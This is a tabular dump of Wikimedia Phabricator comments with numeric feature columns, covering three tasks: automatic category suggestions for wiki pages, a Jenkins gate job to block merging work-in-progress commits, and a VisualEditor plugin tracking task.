seems.",,,1367069812,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,15.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,0.0,8.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,6.0,9.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,5.0,15.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,2.0,2.0,0.0,0.0,4.538461538461538,0.8461538461538461,"I came across one edit filter Filter no1(URL  on Japanese Wikipedia it has tagged more than 80000 new uncategorised pages , the data what is already available in special pages.But here purpose of using edit filter may be to be behind page creators to add a category.This is how an avarage wikipedian looks towards imporatance of categorisation it seems."
216573,Automatically propose/suggest a category for images,"Where to display options and How to insert

1)Vis a Vis above first option: If a page is new or uncategorised , A button can be shown before save pages to add category.

:Horizontal category option display can be provided just above save button line ,and if clicked same as in edit tools it will get added to edit window

2)For option two same as First's option


3) For third option HotCat option display as some one clicks + button 

4) For fourth option to display and  add category from exmine page please also see bug no. 47497 also.

5)For fifth option either like first option or a pop-up after firt few sentences are typed on a new or uncategorised page.",,,1367069015,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,False,,,-10,,1.5,0.0,0.0,1.5,0.0,7.5,0.5,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.5,0.0,2.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,0.5,0.0,1.0,1.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.5,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,6.0,2.0,5.0,3.5,0.0,0.0,0.0,0.0,7.5,1.5,5.0,0.0,0.5,11.5,1.5,0.0,0.0,0.0,0.5,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.9071428571428575,0.75,"Where to display options and How to insert

1)Vis a Vis above first option: If a page is new or uncategorised , A button can be shown before save pages to add category.

:Horizontal category option display can be provided just above save button line ,and if clicked same as in edit tools it will get added to edit window

2)For option two same as First's option


3) For third option HotCat option display as some one clicks + button 

4) For fourth option to display and  add category from exmine page please also see bug no. 47497 also.

5)For fifth option either like first option or a pop-up after firt few sentences are typed on a new or uncategorised page."
216566,Automatically propose/suggest a category for images,"Thanks for being prompt from your side and sorry for delay from my side.


*>>how this woould be gathered<< 

1)Some part of info is already being gathered for  ""Special:Categories"" ,'Special:UncategorizedPages' and other related pages.Analyse first copule of line of categorised pages and suggest categories to un categorised pages.

2)Second option is to gather information from (interwiki) Wikidata . 
Example: Say page 'abc' and its category page 'xyz' both are common for  language 'o' and language 'p'  wikipedia + may be more other languages; say page 'efg' also is connected on more than two wikis but category 'xyz' is mentioned on some wikis and not mentioned on some wiki's 

3)Third option enhancement on HotCat gadget side, when, a category is being added collect first two or three sentences of the article for statisticle comparison,or give a key line option and request editors to provide keyline  

4)fourth option, having few say 5 edit filters with upto 10 keywords each and allowing edit filter manager to add category from exmine page

5) Fifth option As and when Wikipedia goes for realtime editing analyse first couple of lines statistically.",,,1367067890,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,False,,,-10,,1.6666666666666667,0.0,0.0,2.3333333333333335,0.3333333333333333,6.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,4.666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,3.0,9.333333333333334,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,4.0,1.0,0.3333333333333333,3.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,2.6666666666666665,0.0,0.6666666666666666,0.0,0.0,0.0,18.333333333333332,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,4.0,4.666666666666667,1.3333333333333333,4.666666666666667,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.6666666666666665,0.0,1.0,9.333333333333334,4.666666666666667,0.0,5.333333333333333,0.0,1.0,0.0,1.3333333333333333,1.0,0.0,1.3333333333333333,0.6666666666666666,0.0,1.0,4.151898734177215,0.7088607594936708,"Thanks for being prompt from your side and sorry for delay from my side.


*>>how this woould be gathered<< 

1)Some part of info is already being gathered for  ""Special:Categories"" ,'Special:UncategorizedPages' and other related pages.Analyse first copule of line of categorised pages and suggest categories to un categorised pages.

2)Second option is to gather information from (interwiki) Wikidata . 
Example: Say page 'abc' and its category page 'xyz' both are common for  language 'o' and language 'p'  wikipedia + may be more other languages; say page 'efg' also is connected on more than two wikis but category 'xyz' is mentioned on some wikis and not mentioned on some wiki's 

3)Third option enhancement on HotCat gadget side, when, a category is being added collect first two or three sentences of the article for statisticle comparison,or give a key line option and request editors to provide keyline  

4)fourth option, having few say 5 edit filters with upto 10 keywords each and allowing edit filter manager to add category from exmine page

5) Fifth option As and when Wikipedia goes for realtime editing analyse first couple of lines statistically."
216560,Automatically propose/suggest a category for images,Mahitgar: Please elaborate how this woould be gathered and displayed.,,,1366734764,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Mahitgar: Please elaborate how this woould be gathered and displayed.
216554,Automatically propose/suggest a category for images,"Note people have done things like this before. See CommonSense on toolserver. I have no idea how that tool works or if it could be feasible to use the same method in mw.

I agree with andre that how to display such information is very unclear.

P.s. I don't think the original poster was referring to the CategoryTree extension when s/he said category tree.",,,1366617778,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,1.0,0.0,1.0,7.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,8.0,12.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,4.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,3.0,3.0,0.0,0.0,4.0,4.0,11.0,7.0,1.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,12.0,5.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,3.9466666666666668,0.8,"Note people have done things like this before. See CommonSense on toolserver. I have no idea how that tool works or if it could be feasible to use the same method in mw.

I agree with andre that how to display such information is very unclear.

P.s. I don't think the original poster was referring to the CategoryTree extension when s/he said category tree."
216549,Automatically propose/suggest a category for images,"It's not clear to me how ""automatic suggestion"" would work - the only sentence you provide about your *expected* outcome is ""The way bugzilla suggests automated summary"".

What would proposals be based on? Only checking for strings that were previously used, or do you also have other heuristics in mind?

When would this be displayed, and where? Only when using CategoryTree?",,,1366613694,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-giw7fw2ejpup3mkxp5z7,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,4.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,3.0,1.0,1.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,13.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,5.0,9.0,5.0,3.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,6.0,1.0,5.0,5.0,0.0,6.0,0.0,8.0,0.0,1.0,3.0,0.0,0.0,0.0,4.12987012987013,0.8181818181818182,"It's not clear to me how ""automatic suggestion"" would work - the only sentence you provide about your *expected* outcome is ""The way bugzilla suggests automated summary"".

What would proposals be based on? Only checking for strings that were previously used, or do you also have other heuristics in mind?

When would this be displayed, and where? Only when using CategoryTree?"
48860,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","The job will vote -1. But only in gate-and-submit, when working on it the tests should pass (or have this one be non-voting).

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Lowest,10.0,1365022920,1490610800.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-idlocbtqlilq2tqfojzu,task_description,declined,True,c1,1,True,False,False,-13,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,7.0,2.0,6.0,6.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.388888888888889,0.7592592592592593,"The job will vote -1. But only in gate-and-submit, when working on it the tests should pass (or have this one be non-voting).

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
832242,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","After all those years, it is not going to happen. Guess it is better handled directly in Gerrit eg via T135245.  Gerrit is replacing the draft system with private changes which would suit the WIP convention. ",,,1490610800,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,195,,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,5.0,7.0,15.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,12.0,10.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,4.195121951219512,0.8292682926829268,"After all those years, it is not going to happen. Guess it is better handled directly in Gerrit eg via T135245.  Gerrit is replacing the draft system with private changes which would suit the WIP convention. "
674720,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits",T135245 propose to add a new label in Gerrit `Workflow` to let users vote -1 and prevent it from being merged.,,,1465209913,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,153,,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,5.0,18.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.9545454545454546,T135245 propose to add a new label in Gerrit CODE to let users vote -1 and prevent it from being merged.
609043,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","There is a patch proposed upstream:

* https://review.openstack.org/#/c/251373/
** Filter events by commit message,  Allow events to be filtered by commit messages

That might  let us prevent a change from entering gate-and-submit.
",,,1455277524,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,136,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,3.630434782608696,0.782608695652174,"There is a patch proposed upstream:

* URL
** Filter events by commit message,  Allow events to be filtered by commit messages

That might  let us prevent a change from entering gate-and-submit.
"
229301,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","(In reply to Antoine ""hashar"" Musso (WMF) from comment #4)
> Revisiting after a while: Zuul does not have support to prevent merge based
> on a the content of the commit message.

Really?  The Jenkins jobs have a full git checkout, so presumably you could write a jenkins job for gate-and-submit that runs:

git log --oneline | head -1 | fgrep -q WIP

The actual test would be a little more complicated, since you'd want to be sure you were looking at the right side of a merge commit, but either HEAD^1 or HEAD^2 would name the actual patch you're committing in that case.",,,1416436916,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,72,,0.0,0.0,0.0,0.0,0.0,5.5,2.0,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,0.0,1.0,3.0,7.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.5,3.0,0.0,2.0,0.0,0.0,2.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,16.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,6.0,3.0,8.0,1.5,3.5,7.0,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,3.5,7.0,5.0,0.5,1.0,0.0,3.5,0.0,0.5,3.0,0.0,2.0,1.0,0.0,0.0,3.552020202020202,0.8348484848484848,"(In reply to Antoine ""hashar"" Musso (WMF) from comment #4)
QUOTE
QUOTE

Really?  The Jenkins jobs have a full git checkout, so presumably you could write a jenkins job for gate-and-submit that runs:

git log --oneline | head -1 | fgrep -q WIP

The actual test would be a little more complicated, since you'd want to be sure you were looking at the right side of a merge commit, but either HEAD^1 or HEAD^2 would name the actual patch you're committing in that case."
229296,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","Revisiting after a while: Zuul does not have support to prevent merge based on a the content of the commit message.

A possibility is to use Code-Review: -2 which will effectively prevent Gerrit from submitting the patch.

Another way would be to add a new label in Gerrit that would be used to flag a change has being in progress which would trigger the gate-and-submit when voted +1. Something like:

 Approval:
  +1 Approved
   0 Pending review
  -1 Work in progress

Timo thoughts? Or should we just abandon this idea?",,,1400511546,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,46,,0.0,1.0,0.0,1.0,0.5,0.5,2.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,1.0,3.0,7.5,1.0,2.5,1.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.5,1.0,1.0,0.5,0.0,0.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,2.5,1.0,5.5,3.0,10.5,1.0,2.0,8.0,0.0,0.0,0.0,0.0,6.5,0.0,1.0,0.0,1.0,7.5,4.5,2.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,2.0,0.0,0.0,0.0,3.9722402597402597,0.8290584415584416,"Revisiting after a while: Zuul does not have support to prevent merge based on a the content of the commit message.

A possibility is to use Code-Review: -2 which will effectively prevent Gerrit from submitting the patch.

Another way would be to add a new label in Gerrit that would be used to flag a change has being in progress which would trigger the gate-and-submit when voted +1. Something like:

 Approval:
  +1 Approved
   0 Pending review
  -1 Work in progress

Timo thoughts? Or should we just abandon this idea?"
229291,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits",*** Bug 53405 has been marked as a duplicate of this bug. ***,,,1377672091,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53405 has been marked as a duplicate of this bug. ***
229285,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","Looking at the dashboard of VisualEditor extension that makes a lot of sense :)

https://gerrit.wikimedia.org/r/#/projects/mediawiki/extensions/VisualEditor,dashboards/default

$ git-review -l|egrep '(WIP|MERGE)'
70560  master  [WIP] Language Inspector Prototype                          
71641  master  [DON'T MERGE] Remove 'mw-editsection-bracket' hack    
71285  master  [WIP] Do not allow to resize thumb image to be bigger than original file
70346  master  [DON'T MERGE] Rich Copy and Paste from External Source
69796  master  [DON'T MERGE] Rich paste from external sources         
71661  master  [WIP] ve.dm.Transaction: Implement newFromDocumentInsertion, take 2
70981  master  [WIP] Math Node UI
68615  master  [WIP] Source code editing
70171  master  [WIP] Math Node Matcher
69281  master  [WIP] Link surface fix for RTL
$",,,1372883700,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.5,4.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,16.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.5,21.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,2.5,0.0,6.0,0.0,0.0,4.5,16.0,0.0,2.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.5,0.0,8.0,3.7732558139534884,0.6046511627906976,"Looking at the dashboard of VisualEditor extension that makes a lot of sense :)

URL

$ git-review -l|egrep '(WIP|MERGE)'
70560  master  [WIP] Language Inspector Prototype                          
71641  master  [DON'T MERGE] Remove 'mw-editsection-bracket' hack    
71285  master  [WIP] Do not allow to resize thumb image to be bigger than original file
70346  master  [DON'T MERGE] Rich Copy and Paste from External Source
69796  master  [DON'T MERGE] Rich paste from external sources         
71661  master  [WIP] ve.dm.Transaction: Implement newFromDocumentInsertion, take 2
70981  master  [WIP] Math Node UI
68615  master  [WIP] Source code editing
70171  master  [WIP] Math Node Matcher
69281  master  [WIP] Link surface fix for RTL
$"
229277,"Jenkins: Set up job in gate-and-submit to avoid submitting ""DRAFT"" or ""WIP"" commits","I would prefer we do not rely on the commit summary having WIP or DRAFT in it, though we might warn about it.

OpenStack has a patch for Gerrit (might have been upstreamed), that let you flag a change has being a work in progress (see original feature request https://bugs.launchpad.net/openstack-ci/+bug/902953 ).


From Gerrit 2.5 release-notes, the drafts do not send patchset-created events so they should not trigger any job.  When they are published we have a new `draft-published`  event which is essentially the same as patchset-created.


I guess voting CodeReview +2 on a draft will thus send no event at all and the change will obviously never enter any pipeline.",,,1365577705,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-idlocbtqlilq2tqfojzu,task_subcomment,,True,c1,1,True,,,-12,,2.5,0.0,0.0,1.5,2.0,2.0,1.5,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,3.0,0.0,7.5,6.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,2.0,0.5,5.5,2.0,1.0,0.5,0.5,0.0,0.0,0.0,2.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.5,0.0,1.0,0.0,6.0,2.5,7.0,2.0,1.5,9.0,0.0,0.0,0.0,0.0,6.5,0.0,0.5,0.0,6.0,6.5,3.0,0.0,0.0,0.0,6.0,0.0,2.0,3.0,0.0,1.5,0.0,0.0,0.0,3.840909090909091,0.7954545454545454,"I would prefer we do not rely on the commit summary having WIP or DRAFT in it, though we might warn about it.

OpenStack has a patch for Gerrit (might have been upstreamed), that let you flag a change has being a work in progress (see original feature request URL ).


From Gerrit 2.5 release-notes, the drafts do not send patchset-created events so they should not trigger any job.  When they are published we have a new CODE  event which is essentially the same as patchset-created.


I guess voting CodeReview +2 on a draft will thus send no event at all and the change will obviously never enter any pipeline."
48803,VisualEditor: Plugin editors to be created (tracking),"This is a tracking bug for the creation of VisualEditor plugin editors, for each of which the primary bug should live in that product/component instead (where they're about an existing Extension etc.).

This task has been replaced by #VisualEditor-MediaWiki-Plugins

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1364926560,1422424777.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-sqaxwrwatnj3ric4i2qs,task_description,resolved,True,c1,1,True,True,False,-13,,1.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,14.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,13.0,1.0,0.0,13.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,10.0,7.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,1.0,4.295774647887324,0.7464788732394366,"This is a tracking bug for the creation of VisualEditor plugin editors, for each of which the primary bug should live in that product/component instead (where they're about an existing Extension etc.).

This task has been replaced by #VisualEditor-MediaWiki-Plugins

--------------------------
**Version**: unspecified
**Severity**: enhancement"
403775,VisualEditor: Plugin editors to be created (tracking),Replaced by the #VisualEditor-MediaWiki-Plugins project.,,,1422424777,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sqaxwrwatnj3ric4i2qs,task_subcomment,,True,c1,3,True,,,82,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,36.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7272727272727275,0.9090909090909091,Replaced by the #VisualEditor-MediaWiki-Plugins project.
226017,VisualEditor: Plugin editors to be created (tracking),"(In reply to Elitre from comment #2)
> For documentation, see https://www.mediawiki.org/wiki/VisualEditor_gadgets.

No, that doesn't document how to create a proper VisualEditor plugin; the gadgets system uses a different way to work.",,,1415898284,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-sqaxwrwatnj3ric4i2qs,task_subcomment,,True,c1,3,True,,,71,,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,3.0,0.0,8.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.7027027027027026,0.918918918918919,"(In reply to Elitre from comment #2)
QUOTE

No, that doesn't document how to create a proper VisualEditor plugin; the gadgets system uses a different way to work."
226009,VisualEditor: Plugin editors to be created (tracking),"For documentation, see https://www.mediawiki.org/wiki/VisualEditor_gadgets.",,,1415894243,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-sqaxwrwatnj3ric4i2qs,task_subcomment,,True,c1,3,False,,,71,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6,1.0,"For documentation, see URL"
